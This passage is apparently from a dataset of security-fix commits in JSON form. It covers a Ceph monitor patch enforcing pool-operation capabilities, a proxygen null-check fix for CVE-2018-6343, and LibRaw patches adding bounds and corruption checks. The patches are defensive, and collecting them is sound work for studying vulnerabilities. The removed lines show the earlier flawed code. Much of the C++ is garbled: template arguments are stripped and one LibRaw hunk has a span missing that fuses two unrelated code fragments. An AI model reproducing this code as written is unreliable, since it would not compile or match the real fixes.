-91,6 +94,87 @@ const uint32_t MAX_POOL_APPLICATIONS = 4;\n const uint32_t MAX_POOL_APPLICATION_KEYS = 64;\n const uint32_t MAX_POOL_APPLICATION_LENGTH = 128;\n \n+bool is_osd_writable(const OSDCapGrant& grant, const std::string* pool_name) {\n+ // Note: this doesn't include support for the application tag match\n+ if ((grant.spec.allow & OSD_CAP_W) != 0) {\n+ auto& match = grant.match;\n+ if (match.is_match_all()) {\n+ return true;\n+ } else if (pool_name != nullptr && match.auid < 0 &&\n+ !match.pool_namespace.pool_name.empty() &&\n+ match.pool_namespace.pool_name == *pool_name) {\n+ return true;\n+ }\n+ }\n+ return false;\n+}\n+\n+bool is_unmanaged_snap_op_permitted(CephContext* cct,\n+ const KeyServer& key_server,\n+ const EntityName& entity_name,\n+ const MonCap& mon_caps,\n+ const std::string* pool_name)\n+{\n+ typedef std::map CommandArgs;\n+\n+ if (mon_caps.is_capable(cct, CEPH_ENTITY_TYPE_MON,\n+ entity_name, \"osd\",\n+ \"osd pool op unmanaged-snap\",\n+ (pool_name == nullptr ?\n+ CommandArgs{} /* pool DNE, require unrestricted cap */ :\n+ CommandArgs{{\"poolname\", *pool_name}}),\n+ false, true, false)) {\n+ return true;\n+ }\n+\n+ AuthCapsInfo caps_info;\n+ if (!key_server.get_service_caps(entity_name, CEPH_ENTITY_TYPE_OSD,\n+ caps_info)) {\n+ dout(10) << \"unable to locate OSD cap data for \" << entity_name\n+ << \" in auth db\" << dendl;\n+ return false;\n+ }\n+\n+ string caps_str;\n+ if (caps_info.caps.length() > 0) {\n+ auto p = caps_info.caps.cbegin();\n+ try {\n+ decode(caps_str, p);\n+ } catch (const buffer::error &err) {\n+ derr << \"corrupt OSD cap data for \" << entity_name << \" in auth db\"\n+ << dendl;\n+ return false;\n+ }\n+ }\n+\n+ OSDCap osd_cap;\n+ if (!osd_cap.parse(caps_str, nullptr)) {\n+ dout(10) << \"unable to parse OSD cap data for \" << entity_name\n+ << \" in auth db\" << dendl;\n+ return false;\n+ }\n+\n+ // if the entity has write permissions in one or all pools, permit\n+ // usage of unmanaged-snapshots\n+ if (osd_cap.allow_all()) {\n+ return true;\n+ }\n+\n+ for (auto& grant : osd_cap.grants) {\n+ if (grant.profile.is_valid()) {\n+ for (auto& profile_grant : grant.profile_grants) {\n+ if (is_osd_writable(profile_grant, pool_name)) {\n+ return true;\n+ }\n+ }\n+ } else if (is_osd_writable(grant, pool_name)) {\n+ return true;\n+ }\n+ }\n+\n+ return false;\n+}\n+\n } // anonymous namespace\n \n void LastEpochClean::Lec::report(ps_t ps, epoch_t last_epoch_clean)\n@@ -11707,11 +11791,61 @@ bool OSDMonitor::prepare_command_impl(MonOpRequestRef op,\n return true;\n }\n \n-bool OSDMonitor::preprocess_pool_op(MonOpRequestRef op) \n+bool OSDMonitor::enforce_pool_op_caps(MonOpRequestRef op)\n {\n op->mark_osdmon_event(__func__);\n+\n MPoolOp *m = static_cast(op->get_req());\n- \n+ MonSession *session = m->get_session();\n+ if (!session) {\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+\n+ switch (m->op) {\n+ case POOL_OP_CREATE_UNMANAGED_SNAP:\n+ case POOL_OP_DELETE_UNMANAGED_SNAP:\n+ {\n+ const std::string* pool_name = nullptr;\n+ const pg_pool_t *pg_pool = osdmap.get_pg_pool(m->pool);\n+ if (pg_pool != nullptr) {\n+ pool_name = &osdmap.get_pool_name(m->pool);\n+ }\n+\n+ if (!is_unmanaged_snap_op_permitted(cct, mon->key_server,\n+ session->entity_name, session->caps,\n+ pool_name)) {\n+ dout(0) << \"got unmanaged-snap pool op from entity with insufficient \"\n+ << \"privileges. message: \" << *m << std::endl\n+ << \"caps: \" << session->caps << dendl;\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+ }\n+ break;\n+ default:\n+ if (!session->is_capable(\"osd\", MON_CAP_W)) {\n+ dout(0) << \"got pool op from entity with insufficient privileges. \"\n+ << \"message: \" << *m << std::endl\n+ << \"caps: \" << session->caps << dendl;\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+ break;\n+ }\n+\n+ return false;\n+}\n+\n+bool OSDMonitor::preprocess_pool_op(MonOpRequestRef op)\n+{\n+ op->mark_osdmon_event(__func__);\n+ MPoolOp *m = static_cast(op->get_req());\n+\n+ if (enforce_pool_op_caps(op)) {\n+ return true;\n+ }\n+\n if (m->fsid != mon->monmap->fsid) {\n dout(0) << __func__ << \" drop message on fsid \" << m->fsid\n << \" != \" << mon->monmap->fsid << \" for \" << *m << dendl;\n@@ -11795,19 +11929,6 @@ bool OSDMonitor::preprocess_pool_op_create(MonOpRequestRef op)\n {\n op->mark_osdmon_event(__func__);\n MPoolOp *m = static_cast(op->get_req());\n- MonSession *session = m->get_session();\n- if (!session) {\n- _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n- return true;\n- }\n- if (!session->is_capable(\"osd\", MON_CAP_W)) {\n- dout(5) << \"attempt to create new pool without sufficient auid privileges!\"\n-\t << \"message: \" << *m << std::endl\n-\t << \"caps: \" << session->caps << dendl;\n- _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n- return true;\n- }\n-\n int64_t pool = osdmap.lookup_pg_pool_name(m->name.c_str());\n if (pool >= 0) {\n _pool_op_reply(op, 0, osdmap.get_epoch());", "sections": [{"section": "@@ -76,6 +76,9 @@\n #include \"include/str_map.h\"\n #include \"include/scope_guard.h\"\n \n+#include \"auth/cephx/CephxKeyServer.h\"\n+#include \"osd/OSDCap.h\"\n+\n #include \"json_spirit/json_spirit_reader.h\"\n \n #include \n", "related": false}, {"section": "@@ -91,6 +94,87 @@ const uint32_t MAX_POOL_APPLICATIONS = 4;\n const uint32_t MAX_POOL_APPLICATION_KEYS = 64;\n const uint32_t MAX_POOL_APPLICATION_LENGTH = 128;\n \n+bool is_osd_writable(const OSDCapGrant& grant, const std::string* pool_name) {\n+ // Note: this doesn't include support for the application tag match\n+ if ((grant.spec.allow & OSD_CAP_W) != 0) {\n+ auto& match = grant.match;\n+ if (match.is_match_all()) {\n+ return true;\n+ } else if (pool_name != nullptr && match.auid < 0 &&\n+ !match.pool_namespace.pool_name.empty() &&\n+ match.pool_namespace.pool_name == *pool_name) {\n+ return true;\n+ }\n+ }\n+ return false;\n+}\n+\n+bool is_unmanaged_snap_op_permitted(CephContext* cct,\n+ const KeyServer& key_server,\n+ const EntityName& entity_name,\n+ const MonCap& mon_caps,\n+ const std::string* pool_name)\n+{\n+ typedef std::map CommandArgs;\n+\n+ if (mon_caps.is_capable(cct, CEPH_ENTITY_TYPE_MON,\n+ entity_name, \"osd\",\n+ \"osd pool op unmanaged-snap\",\n+ (pool_name == nullptr ?\n+ CommandArgs{} /* pool DNE, require unrestricted cap */ :\n+ CommandArgs{{\"poolname\", *pool_name}}),\n+ false, true, false)) {\n+ return true;\n+ }\n+\n+ AuthCapsInfo caps_info;\n+ if (!key_server.get_service_caps(entity_name, CEPH_ENTITY_TYPE_OSD,\n+ caps_info)) {\n+ dout(10) << \"unable to locate OSD cap data for \" << entity_name\n+ << \" in auth db\" << dendl;\n+ return false;\n+ }\n+\n+ string caps_str;\n+ if (caps_info.caps.length() > 0) {\n+ auto p = caps_info.caps.cbegin();\n+ try {\n+ decode(caps_str, p);\n+ } catch (const buffer::error &err) {\n+ derr << \"corrupt OSD cap data for \" << entity_name << \" in auth db\"\n+ << dendl;\n+ return false;\n+ }\n+ }\n+\n+ OSDCap osd_cap;\n+ if (!osd_cap.parse(caps_str, nullptr)) {\n+ dout(10) << \"unable to parse OSD cap data for \" << entity_name\n+ << \" in auth db\" << dendl;\n+ return false;\n+ }\n+\n+ // if the entity has write permissions in one or all pools, permit\n+ // usage of unmanaged-snapshots\n+ if (osd_cap.allow_all()) {\n+ return true;\n+ }\n+\n+ for (auto& grant : osd_cap.grants) {\n+ if (grant.profile.is_valid()) {\n+ for (auto& profile_grant : grant.profile_grants) {\n+ if (is_osd_writable(profile_grant, pool_name)) {\n+ return true;\n+ }\n+ }\n+ } else if (is_osd_writable(grant, pool_name)) {\n+ return true;\n+ }\n+ }\n+\n+ return false;\n+}\n+\n } // anonymous namespace\n \n void LastEpochClean::Lec::report(ps_t ps, epoch_t last_epoch_clean)\n", "related": false}, {"section": "@@ -11707,11 +11791,61 @@ bool OSDMonitor::prepare_command_impl(MonOpRequestRef op,\n return true;\n }\n \n-bool OSDMonitor::preprocess_pool_op(MonOpRequestRef op) \n+bool OSDMonitor::enforce_pool_op_caps(MonOpRequestRef op)\n {\n op->mark_osdmon_event(__func__);\n+\n MPoolOp *m = static_cast(op->get_req());\n- \n+ MonSession *session = m->get_session();\n+ if (!session) {\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+\n+ switch (m->op) {\n+ case POOL_OP_CREATE_UNMANAGED_SNAP:\n+ case POOL_OP_DELETE_UNMANAGED_SNAP:\n+ {\n+ const std::string* pool_name = nullptr;\n+ const pg_pool_t *pg_pool = osdmap.get_pg_pool(m->pool);\n+ if (pg_pool != nullptr) {\n+ pool_name = &osdmap.get_pool_name(m->pool);\n+ }\n+\n+ if (!is_unmanaged_snap_op_permitted(cct, mon->key_server,\n+ session->entity_name, session->caps,\n+ pool_name)) {\n+ dout(0) << \"got unmanaged-snap pool op from entity with insufficient \"\n+ << \"privileges. message: \" << *m << std::endl\n+ << \"caps: \" << session->caps << dendl;\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+ }\n+ break;\n+ default:\n+ if (!session->is_capable(\"osd\", MON_CAP_W)) {\n+ dout(0) << \"got pool op from entity with insufficient privileges. \"\n+ << \"message: \" << *m << std::endl\n+ << \"caps: \" << session->caps << dendl;\n+ _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n+ return true;\n+ }\n+ break;\n+ }\n+\n+ return false;\n+}\n+\n+bool OSDMonitor::preprocess_pool_op(MonOpRequestRef op)\n+{\n+ op->mark_osdmon_event(__func__);\n+ MPoolOp *m = static_cast(op->get_req());\n+\n+ if (enforce_pool_op_caps(op)) {\n+ return true;\n+ }\n+\n if (m->fsid != mon->monmap->fsid) {\n dout(0) << __func__ << \" drop message on fsid \" << m->fsid\n << \" != \" << mon->monmap->fsid << \" for \" << *m << dendl;\n", "related": false}, {"section": "@@ -11795,19 +11929,6 @@ bool OSDMonitor::preprocess_pool_op_create(MonOpRequestRef op)\n {\n op->mark_osdmon_event(__func__);\n MPoolOp *m = static_cast(op->get_req());\n- MonSession *session = m->get_session();\n- if (!session) {\n- _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n- return true;\n- }\n- if (!session->is_capable(\"osd\", MON_CAP_W)) {\n- dout(5) << \"attempt to create new pool without sufficient auid privileges!\"\n-\t << \"message: \" << *m << std::endl\n-\t << \"caps: \" << session->caps << dendl;\n- _pool_op_reply(op, -EPERM, osdmap.get_epoch());\n- return true;\n- }\n-\n int64_t pool = osdmap.lookup_pg_pool_name(m->name.c_str());\n if (pool >= 0) {\n _pool_op_reply(op, 0, osdmap.get_epoch());", "related": false}]} +{"owner": "facebook", "repo": "proxygen", "language": "C++", "file_name": "proxygen/lib/http/session/HTTPSession.cpp", "commit_id": "0600ebe59c3e82cd012def77ca9ca1918da74a71", "commit_message": "Check that a secondary auth manager is set before dereferencing.\n\nSummary: CVE-2018-6343\n\nReviewed By: mingtaoy\n\nDifferential Revision: D12994423\n\nfbshipit-source-id: 9229ec11da8085f1fa153595e8e5353e19d06fb7", "patch": "@@ -1349,6 +1349,10 @@ void HTTPSession::onCertificateRequest(uint16_t requestId,\n DestructorGuard dg(this);\n VLOG(4) << \"CERTIFICATE_REQUEST on\" << *this << \", requestId=\" << requestId;\n \n+ if (!secondAuthManager_) {\n+ return;\n+ }\n+\n std::pair> authenticator;\n auto fizzBase = getTransport()->getUnderlyingTransport();\n if (fizzBase) {\n@@ -1382,6 +1386,10 @@ void HTTPSession::onCertificate(uint16_t certId,\n DestructorGuard dg(this);\n VLOG(4) << \"CERTIFICATE on\" << *this << \", certId=\" << certId;\n \n+ if (!secondAuthManager_) {\n+ return;\n+ }\n+\n bool isValid = false;\n auto fizzBase = getTransport()->getUnderlyingTransport();\n if (fizzBase) {", "sections": [{"section": "@@ -1349,6 +1349,10 @@ void HTTPSession::onCertificateRequest(uint16_t requestId,\n DestructorGuard dg(this);\n VLOG(4) << \"CERTIFICATE_REQUEST on\" << *this << \", requestId=\" << requestId;\n \n+ if (!secondAuthManager_) {\n+ return;\n+ }\n+\n std::pair> authenticator;\n auto fizzBase = getTransport()->getUnderlyingTransport();\n if (fizzBase) {\n", "related": false}, {"section": "@@ -1382,6 +1386,10 @@ void HTTPSession::onCertificate(uint16_t certId,\n DestructorGuard dg(this);\n VLOG(4) << \"CERTIFICATE on\" << *this << \", certId=\" << certId;\n \n+ if (!secondAuthManager_) {\n+ return;\n+ }\n+\n bool isValid = false;\n auto fizzBase = getTransport()->getUnderlyingTransport();\n if (fizzBase) {", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C++", "file_name": "internal/dcraw_common.cpp", "commit_id": "8682ad204392b914ab1cc6ebcca9c27c19c1a4b4", "commit_message": "0.18.17", "patch": "@@ -1340,6 +1340,10 @@ void CLASS nikon_load_raw()\n \n void CLASS nikon_yuv_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n int row, col, yuv[4], rgb[3], b, c;\n UINT64 bitbuf=0;\n float cmul[4];\n@@ -2156,6 +2160,10 @@ void CLASS sinar_4shot_load_raw()\n unpacked_load_raw();\n return;\n }\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ else if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n pixel = (ushort *) calloc (raw_width, sizeof *pixel);\n merror (pixel, \"sinar_4shot_load_raw()\");\n #ifdef LIBRAW_LIBRARY_BUILD\n@@ -2675,6 +2683,11 @@ void CLASS quicktake_100_load_raw()\n \n void CLASS kodak_radc_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ // All kodak radc images are 768x512\n+ if(width>768 || raw_width>768 || height > 512 || raw_height>512 )\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n static const signed char src[] = {\n 1,1, 2,3, 3,4, 4,2, 5,7, 6,5, 7,6, 7,8,\n 1,0, 2,1, 3,3, 4,4, 5,2, 6,7, 7,6, 8,5, 8,8,\n@@ -2926,6 +2939,10 @@ void CLASS gamma_curve (double pwr, double ts, int mode, int imax);\n \n void CLASS lossy_dng_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n struct jpeg_decompress_struct cinfo;\n struct jpeg_error_mgr jerr;\n JSAMPARRAY buf;\n@@ -3057,6 +3074,10 @@ void CLASS eight_bit_load_raw()\n \n void CLASS kodak_c330_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n uchar *pixel;\n int row, col, y, cb, cr, rgb[3], c;\n \n@@ -3094,6 +3115,10 @@ void CLASS kodak_c330_load_raw()\n \n void CLASS kodak_c603_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n uchar *pixel;\n int row, col, y, cb, cr, rgb[3], c;\n \n@@ -3257,6 +3282,10 @@ void CLASS kodak_65000_load_raw()\n \n void CLASS kodak_ycbcr_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n short buf[384], *bp;\n int row, col, len, c, i, j, k, y[2][2], cb, cr, rgb[3];\n ushort *ip;\n@@ -3291,6 +3320,10 @@ void CLASS kodak_ycbcr_load_raw()\n \n void CLASS kodak_rgb_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n short buf[768], *bp;\n int row, col, len, c, i, rgb[3],ret;\n ushort *ip=image[0];\n@@ -3319,6 +3352,10 @@ void CLASS kodak_rgb_load_raw()\n \n void CLASS kodak_thumb_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n int row, col;\n colors = thumb_misc >> 5;\n for (row=0; row < height; row++)", "sections": [{"section": "@@ -1340,6 +1340,10 @@ void CLASS nikon_load_raw()\n \n void CLASS nikon_yuv_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n int row, col, yuv[4], rgb[3], b, c;\n UINT64 bitbuf=0;\n float cmul[4];\n", "related": false}, {"section": "@@ -2156,6 +2160,10 @@ void CLASS sinar_4shot_load_raw()\n unpacked_load_raw();\n return;\n }\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ else if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n pixel = (ushort *) calloc (raw_width, sizeof *pixel);\n merror (pixel, \"sinar_4shot_load_raw()\");\n #ifdef LIBRAW_LIBRARY_BUILD\n", "related": false}, {"section": "@@ -2675,6 +2683,11 @@ void CLASS quicktake_100_load_raw()\n \n void CLASS kodak_radc_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ // All kodak radc images are 768x512\n+ if(width>768 || raw_width>768 || height > 512 || raw_height>512 )\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n static const signed char src[] = {\n 1,1, 2,3, 3,4, 4,2, 5,7, 6,5, 7,6, 7,8,\n 1,0, 2,1, 3,3, 4,4, 5,2, 6,7, 7,6, 8,5, 8,8,\n", "related": false}, {"section": "@@ -2926,6 +2939,10 @@ void CLASS gamma_curve (double pwr, double ts, int mode, int imax);\n \n void CLASS lossy_dng_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n struct jpeg_decompress_struct cinfo;\n struct jpeg_error_mgr jerr;\n JSAMPARRAY buf;\n", "related": false}, {"section": "@@ -3057,6 +3074,10 @@ void CLASS eight_bit_load_raw()\n \n void CLASS kodak_c330_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n uchar *pixel;\n int row, col, y, cb, cr, rgb[3], c;\n \n", "related": false}, {"section": "@@ -3094,6 +3115,10 @@ void CLASS kodak_c330_load_raw()\n \n void CLASS kodak_c603_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n uchar *pixel;\n int row, col, y, cb, cr, rgb[3], c;\n \n", "related": false}, {"section": "@@ -3257,6 +3282,10 @@ void CLASS kodak_65000_load_raw()\n \n void CLASS kodak_ycbcr_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n short buf[384], *bp;\n int row, col, len, c, i, j, k, y[2][2], cb, cr, rgb[3];\n ushort *ip;\n", "related": false}, {"section": "@@ -3291,6 +3320,10 @@ void CLASS kodak_ycbcr_load_raw()\n \n void CLASS kodak_rgb_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n short buf[768], *bp;\n int row, col, len, c, i, rgb[3],ret;\n ushort *ip=image[0];\n", "related": false}, {"section": "@@ -3319,6 +3352,10 @@ void CLASS kodak_rgb_load_raw()\n \n void CLASS kodak_thumb_load_raw()\n {\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n int row, col;\n colors = thumb_misc >> 5;\n for (row=0; row < height; row++)", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C", "file_name": "dcraw/dcraw.c", "commit_id": "5563e6ddc3f7cb93d98b491194ceebdee7288d36", "commit_message": "Secunia 76000 #2: xtrans allhex not initialized", "patch": "@@ -7045,6 +7045,8 @@ void CLASS xtrans_interpolate(int passes)\n #endif\n \n #ifdef LIBRAW_LIBRARY_BUILD\n+ if(width < TS || height < TS)\n+\t throw LIBRAW_EXCEPTION_IO_CORRUPT; // too small image\n /* Check against right pattern */\n for (row = 0; row < 6; row++)\n \t for (col = 0; col < 6; col++)\n@@ -7053,6 +7055,13 @@ void CLASS xtrans_interpolate(int passes)\n if(cstat[0] < 6 || cstat[0]>10 || cstat[1]< 16\n || cstat[1]>24 || cstat[2]< 6 || cstat[2]>10 || cstat[3])\n \t throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ // Init allhex table to unreasonable values\n+ for(int i = 0; i < 3; i++)\n+ for(int j = 0; j < 3; j++)\n+ for(int k = 0; k < 2; k++)\n+ for(int l = 0; l < 8; l++)\n+ allhex[i][j][k][l]=32700;\n #endif\n cielab(0, 0);\n ndir = 4 << (passes > 1);\n@@ -7063,6 +7072,7 @@ void CLASS xtrans_interpolate(int passes)\n drv = (float(*)[TS][TS])(buffer + TS * TS * (ndir * 6 + 6));\n homo = (char(*)[TS][TS])(buffer + TS * TS * (ndir * 10 + 6));\n \n+ int minv=0,maxv=0,minh=0,maxh=0;\n /* Map a green hexagon around each non-green pixel and vice versa:\t*/\n for (row = 0; row < 3; row++)\n for (col = 0; col < 3; col++)\n@@ -7083,11 +7093,25 @@ void CLASS xtrans_interpolate(int passes)\n {\n v = orth[d] * patt[g][c * 2] + orth[d + 1] * patt[g][c * 2 + 1];\n h = orth[d + 2] * patt[g][c * 2] + orth[d + 3] * patt[g][c * 2 + 1];\n+\t minv=MIN(v,minv);\n+\t maxv=MAX(v,maxv);\n+\t minh=MIN(v,minh);\n+ \t maxh=MAX(v,maxh);\n allhex[row][col][0][c ^ (g * 2 & d)] = h + v * width;\n allhex[row][col][1][c ^ (g * 2 & d)] = h + v * TS;\n }\n }\n \n+#ifdef LIBRAW_LIBRARY_BUILD\n+ // Check allhex table initialization\n+ for(int i = 0; i < 3; i++)\n+ for(int j = 0; j < 3; j++)\n+ for(int k = 0; k < 2; k++)\n+ for(int l = 0; l < 8; l++)\n+\t if(allhex[i][j][k][l]>maxh+maxv*width+1 || allhex[i][j][k][l] 2)\n- row--;\n+\t{\n+ row--;\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\t if(retrycount++ > width*height)\n+\t \tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n+\t}\n }\n }\n ", "sections": [{"section": "@@ -7045,6 +7045,8 @@ void CLASS xtrans_interpolate(int passes)\n #endif\n \n #ifdef LIBRAW_LIBRARY_BUILD\n+ if(width < TS || height < TS)\n+\t throw LIBRAW_EXCEPTION_IO_CORRUPT; // too small image\n /* Check against right pattern */\n for (row = 0; row < 6; row++)\n \t for (col = 0; col < 6; col++)\n", "related": false}, {"section": "@@ -7053,6 +7055,13 @@ void CLASS xtrans_interpolate(int passes)\n if(cstat[0] < 6 || cstat[0]>10 || cstat[1]< 16\n || cstat[1]>24 || cstat[2]< 6 || cstat[2]>10 || cstat[3])\n \t throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ // Init allhex table to unreasonable values\n+ for(int i = 0; i < 3; i++)\n+ for(int j = 0; j < 3; j++)\n+ for(int k = 0; k < 2; k++)\n+ for(int l = 0; l < 8; l++)\n+ allhex[i][j][k][l]=32700;\n #endif\n cielab(0, 0);\n ndir = 4 << (passes > 1);\n", "related": false}, {"section": "@@ -7063,6 +7072,7 @@ void CLASS xtrans_interpolate(int passes)\n drv = (float(*)[TS][TS])(buffer + TS * TS * (ndir * 6 + 6));\n homo = (char(*)[TS][TS])(buffer + TS * TS * (ndir * 10 + 6));\n \n+ int minv=0,maxv=0,minh=0,maxh=0;\n /* Map a green hexagon around each non-green pixel and vice versa:\t*/\n for (row = 0; row < 3; row++)\n for (col = 0; col < 3; col++)\n", "related": false}, {"section": "@@ -7083,11 +7093,25 @@ void CLASS xtrans_interpolate(int passes)\n {\n v = orth[d] * patt[g][c * 2] + orth[d + 1] * patt[g][c * 2 + 1];\n h = orth[d + 2] * patt[g][c * 2] + orth[d + 3] * patt[g][c * 2 + 1];\n+\t minv=MIN(v,minv);\n+\t maxv=MAX(v,maxv);\n+\t minh=MIN(v,minh);\n+ \t maxh=MAX(v,maxh);\n allhex[row][col][0][c ^ (g * 2 & d)] = h + v * width;\n allhex[row][col][1][c ^ (g * 2 & d)] = h + v * TS;\n }\n }\n \n+#ifdef LIBRAW_LIBRARY_BUILD\n+ // Check allhex table initialization\n+ for(int i = 0; i < 3; i++)\n+ for(int j = 0; j < 3; j++)\n+ for(int k = 0; k < 2; k++)\n+ for(int l = 0; l < 8; l++)\n+\t if(allhex[i][j][k][l]>maxh+maxv*width+1 || allhex[i][j][k][l] 2)\n- row--;\n+\t{\n+ row--;\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\t if(retrycount++ > width*height)\n+\t \tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif\n+\t}\n }\n }\n ", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C", "file_name": "libraw/libraw_version.h", "commit_id": "9f26ce37f5be86ea11bfc6831366558650b1f6ff", "commit_message": "SA81000: LibRaw 0.18.8", "patch": "@@ -22,7 +22,7 @@ it under the terms of the one of two licenses as you choose:\n \n #define LIBRAW_MAJOR_VERSION 0\n #define LIBRAW_MINOR_VERSION 18\n-#define LIBRAW_PATCH_VERSION 7\n+#define LIBRAW_PATCH_VERSION 8\n #define LIBRAW_VERSION_TAIL Release\n \n #define LIBRAW_SHLIB_CURRENT \t16", "sections": [{"section": "@@ -22,7 +22,7 @@ it under the terms of the one of two licenses as you choose:\n \n #define LIBRAW_MAJOR_VERSION 0\n #define LIBRAW_MINOR_VERSION 18\n-#define LIBRAW_PATCH_VERSION 7\n+#define LIBRAW_PATCH_VERSION 8\n #define LIBRAW_VERSION_TAIL Release\n \n #define LIBRAW_SHLIB_CURRENT \t16", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C", "file_name": "dcraw/dcraw.c", "commit_id": "fd6330292501983ac75fe4162275794b18445bd9", "commit_message": "Secunia 81800#1: samsumg_load_raw\n\nSecunia 81800#2: find_green\n\nSecunia 81800#3: rollei_load_raw\n\nremove_trailing_spaces: isspace() does not works right with signed non-latin chars\n\nSecunia 81800#5/6: nikon_coolscan_load_raw\n\nSecunia 81800#4: rollei_load_raw", "patch": "@@ -251,6 +251,7 @@ static float fMAX(float a, float b)\n \t3 G R G R G R\t3 B G B G B G\t3 R G R G R G\t3 G B G B G B\n */\n \n+#define RAWINDEX(row, col) ((row)*raw_width + (col))\n #define RAW(row,col) \\\n \traw_image[(row)*raw_width+(col)]\n //@end DEFINES\n@@ -1511,9 +1512,14 @@ void CLASS pentax_load_raw()\n \n void CLASS nikon_coolscan_load_raw()\n {\n- int bufsize = width*3*tiff_bps/8;\n- if(tiff_bps <= 8)\n- gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,255);\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ int bypp = tiff_bps <= 8 ? 1 : 2;\n+ int bufsize = width * 3 * bypp;\n+\n+ if (tiff_bps <= 8)\n+ gamma_curve(1.0 / imgdata.params.coolscan_nef_gamma, 0., 1, 255);\n else\n gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,65535);\n fseek (ifp, data_offset, SEEK_SET);\n@@ -1794,7 +1800,12 @@ void CLASS rollei_thumb()\n void CLASS rollei_load_raw()\n {\n uchar pixel[10];\n- unsigned iten=0, isix, i, buffer=0, todo[16];\n+ unsigned iten = 0, isix, i, buffer = 0, todo[16];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width > 32767 || raw_height > 32767)\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixel = raw_width*(raw_height+7);\n \n isix = raw_width * raw_height * 5 / 8;\n while (fread (pixel, 1, 10, ifp) == 10) {\n@@ -1810,8 +1821,11 @@ void CLASS rollei_load_raw()\n todo[i] = isix++;\n todo[i+1] = buffer >> (14-i)*5;\n }\n- for (i=0; i < 16; i+=2)\n- raw_image[todo[i]] = (todo[i+1] & 0x3ff);\n+ for (i = 0; i < 16; i += 2)\n+ if(todo[i] < maxpixel)\n+ raw_image[todo[i]] = (todo[i + 1] & 0x3ff);\n+ else\n+ derror();\n }\n maximum = 0x3ff;\n }\n@@ -3857,6 +3871,11 @@ void CLASS sony_arw2_load_raw()\n void CLASS samsung_load_raw()\n {\n int row, col, c, i, dir, op[4], len[4];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width> 32768 || raw_height > 32768) // definitely too much for old samsung\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixels = raw_width*(raw_height+7);\n \n order = 0x4949;\n for (row=0; row < raw_height; row++) {\n@@ -3875,11 +3894,17 @@ void CLASS samsung_load_raw()\n \tcase 2: len[c]--;\t\tbreak;\n 